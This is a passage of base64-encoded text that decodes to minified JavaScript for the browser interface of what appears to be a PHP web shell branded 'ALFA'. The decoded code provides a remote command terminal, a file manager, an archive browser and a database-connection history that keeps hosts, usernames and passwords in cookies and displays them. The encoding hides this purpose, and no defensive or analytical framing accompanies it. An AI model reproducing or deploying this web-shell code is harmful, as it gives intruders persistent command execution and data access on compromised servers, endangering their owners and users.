WxlY3RvcigiLm9wdC10aXRsZSIpLmlubmVySFRNTD1lLmdldEF0dHJpYnV0ZSgidGl0bGUiKSxhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJvcHRpb25zX3dpbmRvdyIpfWZ1bmN0aW9uIHRlcm1pbmFsVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtdGFiLmFjdGl2ZS10ZXJtaW5hbC10YWIiKS5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUtdGVybWluYWwtdGFiIil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC1jb250ZW50LmFjdGl2ZS10ZXJtaW5hbC1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgiYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKX1jYXRjaChlKXt9dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKSxlLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJhY3RpdmUtdGVybWluYWwtdGFiIiksJCh0KS5xdWVyeVNlbGVjdG9yKCIucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKX1mdW5jdGlvbiBmaWxlc21hblRhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmFqYXhhcmVhLmZpbGVzbWFuLWFjdGl2ZS1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgiZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLmZpbGVzbWFuX3RhYi5maWxlc21hbi10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgiZm1faWQiKTtpZihudWxsPT10KXJldHVybiExO2FsZmFfY3VycmVudF9mbV9pZD10LGUuY2xhc3NMaXN0LmFkZCgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSwkKCJmaWxlc21hbl9ob2xkZXJfIit0KS5jbGFzc0xpc3QudG9nZ2xlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJwYXRoIik7aW5pdERpcihhKSxkLm1mLmMudmFsdWU9YX1mdW5jdGlvbiBkYlRhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC1jb250ZW50LnNxbC1hY3RpdmUtY29udGVudCIpLmNsYXNzTGlzdC5yZW1vdmUoInNxbC1hY3RpdmUtY29udGVudCIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuc3FsLXRhYm5hbWUuc3FsLWFjdGl2ZS10YWIiKS5jbGFzc0xpc3QucmVtb3ZlKCJzcWwtYWN0aXZlLXRhYiIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYobnVsbD09dClyZXR1cm4hMTskKHQpLmNsYXNzTGlzdC50b2dnbGUoInNxbC1hY3RpdmUtY29udGVudCIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSxlLmNsYXNzTGlzdC5hZGQoInNxbC1hY3RpdmUtdGFiIiksYWxmYVVwZGF0ZU9wdGlvbnNCYWRnZSgiZGF0YWJhc2Vfd2luZG93Iil9ZnVuY3Rpb24gZWRpdG9yVGFiQ29udHJvbGxlcihlLHQpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudHMuZWRpdG9yLWNvbnRlbnQtYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIil9Y2F0Y2goZSl7fXZhciBhPW51bGw7dm9pZCAwPT09dD9hPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTooYT1lLGU9JCgidGFiXyIrYSkpO3ZhciBpPWVkaXRvcl9maWxlc1siZmlsZV8iK2EucmVwbGFjZSgiZWRpdG9yX3NvdXJjZV8iLCIiKV07aWYodm9pZCAwIT09aSYmKGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1wYXRoIikuaW5uZXJIVE1MPShpLnB3ZCsiLyIraS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSksbnVsbD09YSlyZXR1cm4hMTskKGEpLmNsYXNzTGlzdC50b2dnbGUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyAuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLXRhYi1hY3RpdmUiKX1jYXRjaChlKXt9ZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgiZWRpdG9yLXRhYi1hY3RpdmUiKSxhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJlZGl0b3IiKX1mdW5jdGlvbiBhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrZSsiLW1pbmltaXplZCAub3B0aW9uc19taW5fYmFkZ2UiKTtpZihudWxsIT10KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2UrIiAudGFiLWlzLWRvbmUiKS5sZW5ndGg7dC5pbm5lckhUTUw9YSx0LnN0eWxlLnZpc2liaWxpdHk9YT4wPyJ2aXNpYmxlIjoiaGlkZGVuIn19ZnVuY3Rpb24gYWxmYU9wZW5QaHBUZXJtaW5hbChlKXtpZihwaHBfdGVtcmluYWxfdXNpbmdfY2dpJiZ2b2lkIDA9PT1lKXNob3dFZGl0b3IoImNnaWxvYWRlciIpO2Vsc2V7JCgiY2dpbG9hZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLCQoImNnaWxvYWRlciIpLnN0eWxlLmJhY2tncm91bmQ9InJnYmEoMCwgMCwgMCwgMC41NykiLCQoImNnaWZyYW1lIikuc3R5bGUuYmFja2dyb3VuZD0icmdiYSgwLCAwLCAwLCAwLjgxKSIsJCgiY2dpZnJhbWUiKS5zdHlsZS5ib3JkZXI9IjFweCBzb2xpZCByZ2IoMzAsIDg2LCAxMTUpIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLmhlaWdodD0iOTAlIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLnBhZGRpbmc9IjNweCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyIC5vcHQtdGl0bGUiKS5pbm5lckhUTUw9IlRlcm1pbmFsIjt2YXIgdD0iIixhPSIiLGk9InRlcm1pbmFsX2lkXyIrZ2V0UmFuZG9tKDEwKTt2b2lkIDA9PT1lJiYodD0iIGFjdGl2ZS10ZXJtaW5hbC1jb250ZW50IixhPSIgYWN0aXZlLXRlcm1pbmFsLXRhYiIpLGQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5hbC1jb250ZW50cyIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgaWQ9IicraSsnIiBjbGFzcz0idGVybWluYWwtY29udGVudCcrdCsnIj48ZGl2IGNsYXNzPSJwaHAtdGVybWluYWwtb3V0cHV0Ij48ZGl2PjxidXR0b24gY2xhc3M9InRlcm1pbmFsLWJ0bi1mb250Y3RsIiBvbkNsaWNrPSJjaGFuZ2VUZXJtaW5hbEZvbnRTaXplKFwnJytpKydcJywxKTsiPis8L2J1dHRvbj48YnV0dG9uIGNsYXNzPSJ0ZXJtaW5hbC1idG4tZm9udGN0bCIgb25DbGljaz0iY2hhbmdlVGVybWluYWxGb250U2l6ZShcJycraSsiJywwKTtcIj4tPC9idXR0b24+PGlucHV0IG9uY2hhbmdlPVwiYWxmYVRlcm1pbmFsQ2hhbmdlY29sb3IodGhpcywnIitpKydcJyk7IiBzdHlsZT0iaGVpZ2h0OiAxOHB4O2JhY2tncm91bmQ6ICNkZGUyZTI7IiB0eXBlPSJjb2xvciI+PC9kaXY+PHByZSBjbGFzcz0ibWwxIiBzdHlsZT0iYm9yZGVyOnVuc2V0O2hlaWdodDogOTAlOyI+PC9wcmU+PC9kaXY+PGRpdj48Zm9ybSB0ZXJtX2lkPSInK2krJyIgb25TdWJtaXQ9ImFsZmFFeGVjVGVybWluYWwodGhpcyk7dGhpcy5jLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHN0eWxlPSJtYXJnaW4tdG9wOiAxMHB4OyI+PGRpdiBzdHlsZT0ib3ZlcmZsb3c6IGF1dG87d2hpdGUtc3BhY2U6IG5vd3JhcDsiPjxkaXYgc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jaztjb2xvcjojNGZiZWMzO21hcmdpbi1ib3R0b206NXB4O21hcmdpbi1yaWdodDo1cHg7Ij5DV0Q6fiMgPC9kaXY+PGRpdiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO2NvbG9yOiM0MmVjNDI7IiBjbGFzcz0icGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIj48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwZmYwODtmb250LXNpemU6IDI1cHg7Ij4kIDwvc3Bhbj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDhweDtmb250LXNpemU6IDIwcHg7d2lkdGg6IDY3JTtib3JkZXI6IDFweCBzb2xpZCAjMjc5NzlCO3BhZGRpbmctcmlnaHQ6MzVweDsiIG9ua2V5dXA9ImFsZmFXYWxrSW5UZXJtaW5hbEhpc3RvcnkodGhpcyxldmVudCxcJycraSsnXCcpOyIgdGVybV9pZD0iJytpKyciIGNsYXNzPSJwaHAtdGVybWluYWwtaW5wdXQiIHR5cGU9InRleHQiIG5hbWU9ImMiIG9uZm9jdXM9ImNsb3NlSGlzdG9yeUNtZChcJ2ZyZWVcJyx0aGlzKTsiIHBsYWNlaG9sZGVyPSJscyAtbGEiPjxidXR0b24gY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImNvbG9yOiAjMjc5NzlCO3BhZGRpbmc6IDEycHg7bWFyZ2luLWxlZnQ6IDEwcHg7Ym9yZGVyLXJhZGl1czogMnB4O2ZvbnQtd2VpZ2h0OiBib2xkZXI7Ij5FeGVDdXRlPGJ1dHRvbiB0ZXJtX2lkPSInK2krJyIgY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImNvbG9yOiAjMjc5NzlCO3BhZGRpbmc6IDEycHg7bWFyZ2luLWxlZnQ6IDEwcHg7Ym9yZGVyLXJhZGl1czogMnB4O2ZvbnQtd2VpZ2h0OiBib2xkZXI7IiBvbkNsaWNrPSJhbGZhRXhlY1Rlcm1pbmFsKHRoaXMsIDEpO3JldHVybiBmYWxzZTsiPkN1cnJlbnQgRGlyPC9idXR0b24+PGRpdiBjbGFzcz0iY21kLWhpc3RvcnktaG9sZGVyIj48ZGl2IGNsYXNzPSJjb21tYW5kcy1oaXN0b3J5LWhlYWRlciI+SGlzdG9yeTwvZGl2PjxzcGFuIG9uQ2xpY2s9ImNsZWFyVGVybWluYWxIaXN0b3J5KCk7IiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkO21hcmdpbi1ib3R0b206IDVweDtkaXNwbGF5OiBpbmxpbmUtYmxvY2s7cGFkZGluZzogNXB4O2NvbG9yOiAjNTlkZTY5O2N1cnNvcjogcG9pbnRlcjsiPkNsZWFyIGhpc3Rvcnk8L3NwYW4+PGRpdiBzdHlsZT0ib3ZlcmZsb3c6IGF1dG87aGVpZ2h0OiA4MiU7IiBjbGFzcz0iY29tbWFuZHMtaGlzdG9yeSI+PC9kaXY+PC9kaXY+PGRpdiB0ZXJtX2lkPSInK2krJyIgY2xhc3M9ImNtZC1oaXN0b3J5LWljb24iIG1vZGU9IiIgb25jbGljaz0iY2xvc2VIaXN0b3J5Q21kKHRoaXMpOyI+PC9kaXY+PC9mb3JtPjwvZGl2PjwvZGl2PjwvZGl2PicpO3RyeXskKCJ0ZXJtaW5hbF9uZXdfdGFiIikucmVtb3ZlKCl9Y2F0Y2goZSl7fWQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5hbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9uY2xpY2s9InRlcm1pbmFsVGFiQ29udHJvbGxlcih0aGlzKTsiIHRlcm1faWQ9IicraSsnIiBpZD0idGFiXycraSsnIiBjbGFzcz0idGVybWluYWwtdGFiJythKyciPlRlcm1pbmFsIDxpbWcgdGVybV9pZD0iJytpKyciIG9uY2xpY2s9ImNsb3NlVGVybWluYWxDb250ZW50KHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJbY2xvc2VdIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnIj48L2Rpdj4nKSxkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lmcmFtZSAudGVybWluYWwtdGFicyIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvbmNsaWNrPSJhbGZhT3BlblBocFRlcm1pbmFsKHRydWUpOyIgaWQ9InRlcm1pbmFsX25ld190YWIiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM4MDAwMDA7IiBjbGFzcz0idGVybWluYWwtdGFiIj5OZXcgVGFiICs8L2Rpdj4nKSx0ZXJtaW5hbF93YWxrX2luZGV4W2ldPXtpbmRleDowLGtleTotMX0sZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgLnBocC10ZXJtaW5hbC1pbnB1dCIpLmZvY3VzKCksZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgLnBocC10ZXJtaW5hbC1jdXJyZW50LWRpciIpLmlubmVySFRNTD1jXyxkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lsb2FkZXItbWluaW1pemVkIC5taW5pbWl6ZWQtdGV4dCIpLmlubmVySFRNTD0iVGVybWluYWwiLGFsZmFUZXJtaW5hbFNldENvbG9yQW5kU2l6ZShpKSxwaHBfdGVtcmluYWxfdXNpbmdfY2dpPSEwO3ZhciBsPWFsZmFHZXRUZXJtaW5hbEhpc3RvcnkoKTtmb3IodmFyIHIgaW4gbClkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAuY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5IikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGRpdiBvbmNsaWNrPVwiZC5xdWVyeVNlbGVjdG9yKCcjIitpKycgLnBocC10ZXJtaW5hbC1pbnB1dFwnKS52YWx1ZSA9IHRoaXMuaW5uZXJIVE1MOyIgY2xhc3M9Imhpc3RvcnktY21kLWxpbmUiPicrbFtyXSsiPC9kaXY+Iil9ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4ifWZ1bmN0aW9uIGFsZmFUZXJtaW5hbFNldENvbG9yQW5kU2l6ZShlKXt2YXIgdD1nZXRDb29raWUoImFsZmEtdGVybWluYWwtY29sb3IiKSxhPWdldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1mb250c2l6ZSIpO3ZvaWQgMCE9PXQmJihkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiBwcmUubWwxIikuc3R5bGUuY29sb3I9dCksdm9pZCAwIT09YSYmKGQucXVlcnlTZWxlY3RvcigiIyIrZSsiIHByZS5tbDEiKS5zdHlsZS5mb250U2l6ZT1hKX1mdW5jdGlvbiBhbGZhVGVybWluYWxDaGFuZ2Vjb2xvcihlLHQpe2QucXVlcnlTZWxlY3RvcigiIyIrdCsiIHByZS5tbDEiKS5zdHlsZS5jb2xvcj1lLnZhbHVlLHNldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1jb2xvciIsZS52YWx1ZSwyMDEyKX1mdW5jdGlvbiBhbGZhR2V0VGVybWluYWxIaXN0b3J5KGUpe3ZhciB0PWdldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1oaXN0b3J5Iik7dHJ5e3Q9YXRvYih0KSx0PUpTT04ucGFyc2UodCl9Y2F0Y2goZSl7dD1bXX1yZXR1cm4gdm9pZCAwIT09ZSYmdC5yZXZlcnNlKCksdH1mdW5jdGlvbiBjaGFuZ2VUZXJtaW5hbEZvbnRTaXplKGUsdCl7dmFyIGE9ZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgcHJlLm1sMSIpLGk9cGFyc2VJbnQod2luZG93LmdldENvbXB1dGVkU3R5bGUoYSxudWxsKS5nZXRQcm9wZXJ0eVZhbHVlKCJmb250LXNpemUiKSksbD0iIjsxPT10PyhsPWkrMSsicHgiLGEuc3R5bGUuZm9udFNpemU9bCk6KGw9aS0xKyJweCIsYS5zdHlsZS5mb250U2l6ZT1sKSxzZXRDb29raWUoImFsZmEtdGVybWluYWwtZm9udHNpemUiLGwsMjAxMil9ZnVuY3Rpb24gYWxmYVdhbGtJblRlcm1pbmFsSGlzdG9yeShlLHQsYSl7dmFyIGk9dHx8d2luZG93LmV2ZW50O2lmKCIzOCI9PWkua2V5Q29kZXx8IjQwIj09aS5rZXlDb2RlfHwiMzciPT1pLmtleUNvZGV8fCIzOSI9PWkua2V5Q29kZSlzd2l0Y2goaS5rZXlDb2RlKXtjYXNlIDM4OnZhciBsPWFsZmFHZXRUZXJtaW5hbEhpc3RvcnkoITApLHI9IiI7MD09dGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleD8oMD09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJisrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCx2b2lkIDAhPT0ocj1sW3Rlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXhdKT8oZS52YWx1ZT1yLCsrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCk6KGUudmFsdWU9IiIsdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleD0wKSk6dGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleDxsLmxlbmd0aCYmKDA9PXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0ua2V5JiYrK3Rlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgsZS52YWx1ZT1sW3Rlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXhdLCsrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCksdGVybWluYWxfd2Fsa19pbmRleFthXS5rZXk9MTticmVhaztjYXNlIDQwOmw9YWxmYUdldFRlcm1pbmFsSGlzdG9yeSghMCk7aWYodGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleD49MCkwIT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4JiYoLS10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4LDE9PXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0ua2V5JiYtLXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgpLHZvaWQgMCE9PShyPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0pP2UudmFsdWU9cjooZS52YWx1ZT0iIix0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTApO3Rlcm1pbmFsX3dhbGtfaW5kZXhbYV0ua2V5PTA7YnJlYWs7ZGVmYXVsdDpjb25zb2xlLmxvZyhpLmtleUNvZGUpfWVsc2UgdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleD0wfWZ1bmN0aW9uIGNsZWFyVGVybWluYWxIaXN0b3J5KCl7ZC5xdWVyeVNlbGVjdG9yQWxsKCIuY29tbWFuZHMtaGlzdG9yeSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5pbm5lckhUTUw9IiJ9KSxzZXRDb29raWUoImFsZmEtdGVybWluYWwtaGlzdG9yeSIsIiIsMjAxMil9ZnVuY3Rpb24gYWxmYUFjZVRvRnVsbHNjcmVlbihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiYWNlX2lkIik7YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbdF0uY29udGFpbmVyLnJlcXVlc3RGdWxsc2NyZWVuKCl9ZnVuY3Rpb24gY2xvc2VIaXN0b3J5Q21kKGUsdCl7aWYoImZyZWUiPT1lKXt2YXIgYT10LmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO3JldHVybiBlPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbWQtaGlzdG9yeS1pY29uIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWhvbGRlciIpLnN0eWxlLnZpc2liaWxpdHk9ImhpZGRlbiIsZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWhvbGRlciIpLnN0eWxlLm9wYWNpdHk9IjAiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib2ZmIiksITF9dmFyIGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSxsPShhPWUuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWhvbGRlciIpKTswPT1pLmxlbmd0aHx8Im9mZiI9PWk/KGwuc3R5bGUudmlzaWJpbGl0eT0idmlzaWJsZSIsbC5zdHlsZS5vcGFjaXR5PSIxIixlLnNldEF0dHJpYnV0ZSgibW9kZSIsIm9uIikpOihsLnN0eWxlLnZpc2liaWxpdHk9ImhpZGRlbiIsbC5zdHlsZS5vcGFjaXR5PSIwIixlLnNldEF0dHJpYnV0ZSgibW9kZSIsIm9mZiIpKX1mdW5jdGlvbiBnZUV2YWxBY2VWYWx1ZShlKXt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtZXZhbHMtYWNlIikuZ2V0QXR0cmlidXRlKCJpZCIpO3JldHVybiBhbGZhX2FjZV9lZGl0b3JzLmV2YWxbdF0uZ2V0VmFsdWUoKX1mdW5jdGlvbiBhbGZhT3BlbkFyY2hpdmUoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKSxhPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGk9ZS5nZXRBdHRyaWJ1dGUoImJhc2VfaWQiKTtpZigiLi4iPT1hJiYicGhhcjovLyIhPXQuc3Vic3RyKDAsNykpcmV0dXJuITE7dmFyIGw9ImE9IithbGZhYjY0KCJvcGVuX2FyY2hpdmVfZGlyIikrIiZjPSIrYWxmYWI2NChjXykrIiZhbGZhMT0iK2FsZmFiNjQodCkrIiZhbGZhMj0iK2FsZmFiNjQoaSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpO19BamF4KGQuVVJMLGwsZnVuY3Rpb24oZSl7aWYoIjAiIT1lKXskKCJhcmNoaXZlX2Jhc2VfIitpKS5pbm5lckhUTUw9ZTt2YXIgYT0kKCJhcmNoaXZlX2Rpcl8iK2kpLmdldEF0dHJpYnV0ZSgiYXJjaGl2ZV9uYW1lIiksbD0kKCJhcmNoaXZlX2Rpcl8iK2kpLmdldEF0dHJpYnV0ZSgiYXJjaGl2ZV9mdWxsIikscj0iIixvPSIiO2lmKDAhPSh0PXQuc3BsaXQoYSlbMV0pLmxlbmd0aCl7dmFyIG49KHQ9dC5zcGxpdCgiLyIpKS5sZW5ndGgtMTtmb3IodmFyIHMgaW4gMD09dFtuXS5sZW5ndGgmJnQuc3BsaWNlKG4sMSksdCkwIT10Lmxlbmd0aCYmKG8rPXRbc10rIi8iLHIrPSc8YSBiYXNlX2lkPSInK2krJyIgZm5hbWU9IicrdFtzXSsnIiBwYXRoPSInK2wrbysnIiBvbmNsaWNrPSJhbGZhT3BlbkFyY2hpdmUodGhpcyk7Ij4nK3Rbc10rIi88L2E+Iil9ZC5xdWVyeVNlbGVjdG9yKCIjYXJjaGl2ZV9kaXJfIitpKyIgLmFyY2hpdmVfcHdkX2hvbGRlciIpLmlubmVySFRNTD1yfX0sITEsIm9wZW5fYXJjaGl2ZV9kaXIiKX1mdW5jdGlvbiBhbGZhRGVsZXRlQ29ubmVjdFRvRGIoZSl7ZC5xdWVyeVNlbGVjdG9yQWxsKCIuZGJoXyIrZSkuZm9yRWFjaChmdW5jdGlvbihlKXtlLnJlbW92ZSgpfSksYWxmYUNvbm5lY3Rpb25IaXN0b3J5VXBkYXRlKGUpfWZ1bmN0aW9uIGFsZmFDb25uZWN0VG9EYihlLHQpe3ZhciBhPXt9O3RyeXthPUpTT04ucGFyc2UoYXRvYihnZXRDb29raWUoImFsZmFfY29ubmVjdGlvbl9oaXN0IikpKX1jYXRjaChlKXt9dmFyIGk9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgZGl2LnNmIik7aS5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9ob3N0XSIpLnZhbHVlPWFbZV0uaG9zdCxpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2xvZ2luXSIpLnZhbHVlPWFbZV0udXNlcixpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX3Bhc3NdIikudmFsdWU9YVtlXS5wYXNzLChpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIik/aS5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9iYXNlXSIpOmkucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9c3FsX2Jhc2VdIikpLnZhbHVlPWFbZV0uZGIsaS5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkPSEwLGQucXVlcnlTZWxlY3RvcigiIyIrdCsiIGRpdi5zZiAuZGItY29ubmVjdC1idG4iKS5jbGljaygpfWZ1bmN0aW9uIGFsZmFTaG93Q29ubmVjdGlvbkhpc3RvcnkoZSl7dmFyIHQ9e30sYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPWUuZ2V0QXR0cmlidXRlKCJtb2RlIik7aWYocm93cz0nPHRhYmxlIGNsYXNzPSJjb25uZWN0aW9uLWhpc3QtdGFibGUiPjx0cj48dGg+KjwvdGg+PHRoPkhvc3Q8L3RoPjx0aD5Vc2VyPC90aD48dGg+UGFzczwvdGg+PHRoPkRhdGFiYXNlPC90aD48dGg+Q29ubmVjdDwvdGg+PHRoPkRlbGV0ZTwvdGg+PC90cj4nLCJvbiI9PWkpe2Uuc2V0QXR0cmlidXRlKCJtb2RlIiwib2ZmIik7dHJ5e3Q9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe312YXIgbCxyPTE7Zm9yKGwgaW4gdCl7dmFyIG89dFtsXS51c2VyKyJfIit0W2xdLmRiO3Jvd3MrPSc8dHIgY2xhc3M9ImRiaF8nK28rJyI+PHRoPicrcisiPC90aD48dGg+Iit0W2xdLmhvc3QrIjwvdGg+PHRoPiIrdFtsXS51c2VyKyI8L3RoPjx0aD4iK3RbbF0ucGFzcysiPC90aD48dGg+Iit0W2xdLmRiKyc8L3RoPjx0aD48YnV0dG9uIHN0eWxlPSJtYXJnaW46IHVuc2V0OyIgY2xhc3M9ImNvbm5lY3Rpb24taGlzLWJ0biIgb25jbGljaz1cJ2FsZmFDb25uZWN0VG9EYigiJytvKyciLCInK2ErJyIpO1wnPkNvbm5lY3Q8L2J1dHRvbj48L3RoPjx0aCBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+PGJ1dHRvbiBzdHlsZT0ibWFyZ2luOiB1bnNldDsiIGNsYXNzPSJjb25uZWN0aW9uLWhpcy1idG4gY29ubmVjdGlvbi1kZWxldGUiIG9uY2xpY2s9XCdhbGZhRGVsZXRlQ29ubmVjdFRvRGIoIicrbysiXCIpOyc+WDwvYnV0dG9uPjwvdGg+PC90cj4iLHIrK31yb3dzKz0iPC90YWJsZSJ9ZWxzZSBlLnNldEF0dHJpYnV0ZSgibW9kZSIsIm9uIikscm93cz0iIjtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY29ubmVjdGlvbl9oaXN0b3J5X2hvbGRlciIpLmlubmVySFRNTD1yb3dzfWZ1bmN0aW9uIGFsZmFDb25uZWN0aW9uSGlzdG9yeVVwZGF0ZShlKXt2YXIgdCxhPXt9O3RyeXthPUpTT04ucGFyc2UoYXRvYihnZXRDb29raWUoImFsZmFfY29ubmVjdGlvbl9oaXN0IikpKX1jYXRjaChlKXt9Zm9yKHQgaW4gbXlzcWxfY2FjaGUpMCE9bXlzcWxfY2FjaGVbdF0uZGIubG